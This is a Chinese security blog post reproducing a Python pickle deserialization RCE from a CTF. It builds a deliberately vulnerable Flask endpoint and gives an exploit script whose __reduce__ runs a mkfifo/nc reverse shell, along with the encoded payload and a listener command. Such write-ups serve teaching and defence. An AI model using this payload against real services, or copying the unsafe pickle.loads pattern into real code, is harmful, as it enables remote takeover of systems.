『漏洞复现』不安全的 Python Pickles

admin 2024年4月19日23:39:22评论6 views字数 2377阅读7分55秒阅读模式

点击蓝字

关注我们

日期:2024-04-08
作者:YuKong
介绍:一次使用 Python 反序列化数据模块的探索。

0x00 前言

一次CTF引发的思考,如何通过使用Python pickle模块利用反序列化数据的方式来获得系统权限。

系统环境:macOS

Python版本:Python 3.11.4

Flask版本:Flask 3.0.2

『漏洞复现』不安全的 Python Pickles

0x01 pickle 介绍

1.1 什么是 pickle

Python中,pickle实现了对一个Python 对象结构的二进制序列化和反序列化,类似于Java的序列化和反序列化。这意味着可以将Python对象转换为字节流,然后可以在不同的进程或环境(包括对象的内部结构)中加载该字节流并重新构造它。

当查阅Python pickle文档时,发现了如下警告:

『漏洞复现』不安全的 Python Pickles

接下来就是找出如何使用pickle配合不安全的序列化数据拿到系统权限。

1.2 pickle 序列化和反序列化

(1)序列化

#需要使用pickle.dumps()语法。import picklepickle.dumps(['pickle', 'dumps', 1, 2, 3])
『漏洞复现』不安全的 Python Pickles

(2)反序列化

#需要使用pickle.loads()语法。import picklepickle.loads(b'x80x04x95x1cx00x00x00x00x00x00x00]x94(x8cx06picklex94x8cx05dumpsx94Kx01Kx02Kx03e.')
『漏洞复现』不安全的 Python Pickles

(3)序列化过程

可以通过使用pickletools库和pickletools.dis()函数反汇编,查看序列化过程。

# 需要用到pickletools 库import pickletoolspickled = pickle.dumps(['pickle', 'dumps', 1, 2, 3])pickletools.dis(pickled)
『漏洞复现』不安全的 Python Pickles

当然并不是所有所有对象都可以被序列化或反序列化,并且在序列化和反序列化的过程中某些函数或者类也会受到限制。具体文档可以参考官方文档:https://docs.python.org/zh-cn/3/library/pickle.html#what-can-be-pickled-and-unpickled

1.3 不安全的 reduce

进一步阅读官网文档,我们可以看到,__reduce__从攻击者的角度来看,实现正是我们执行代码所需要的:

『漏洞复现』不安全的 Python Pickles

因此,通过在类中执行序列化好的__reduce__,来达到执行命令或者调用对象的目的。虽然旨在重建对象,但我们可以用它来执行我们自己的shell代码。

0x02 漏洞复现

2.1 部署漏洞环境

(1)使用Flask框架创建一个具有单一路由的小型 Web 应用程序。

#安装Flask pip3 install Flask

(2)创建app.py

import pickleimport base64from flask import Flask, requestapp = Flask(__name__)@app.route("/hackme", methods=["POST"])def hackme():    data = base64.urlsafe_b64decode(request.form['pickled'])    deserialized = pickle.loads(data)    # do something with deserialized or just    # get pwned.    return '', 204

该程序实现了在/hackme路由下使用POST方法传输pickled数据。并且数据先进行Base64解码(用于传输),然后反序列化。

(3)运行程序

flask run
『漏洞复现』不安全的 Python Pickles

2.2 漏洞利用

漏洞利用的满足条件:

(1)创建一个实现该类的实例__reduce__,然后序列化该实例的类。

(2)调用我们的RCE类,并让它的__reduce__方法返回一个可调用元组和一个参数元组。

脚本如下:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
               '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

(3)执行脚本生成payload

b'gASVbgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFNybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI-JjEgfCBuYyAxMjcuMC4wLjEgMTIzNCA-IC90bXAvZpSFlFKULg=='

(4)监听1234端口并发送恶意payload

# 监听端口ncat  -lvvp 1234

使用代理工具发送POST数据:

『漏洞复现』不安全的 Python Pickles

『漏洞复现』不安全的 Python Pickles

可以看到将POST请求发送后,代码将执行并反弹shell

0x03 总结

本意是一次CTF题目的探究,后来复现漏洞以及查找文档的过程中发现了不少应用因此解锁了新的利用方式,例如Memcached 注入技术。我想以此拓展、深入,内网中的Memcached不再会仅仅以未授权漏洞的形式存在渗透测试报告中了。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『漏洞复现』不安全的 Python Pickles

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日23:39:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『漏洞复现』不安全的 Python Pickleshttps://cn-sec.com/archives/2638297.html

发表评论

匿名网友 填写信息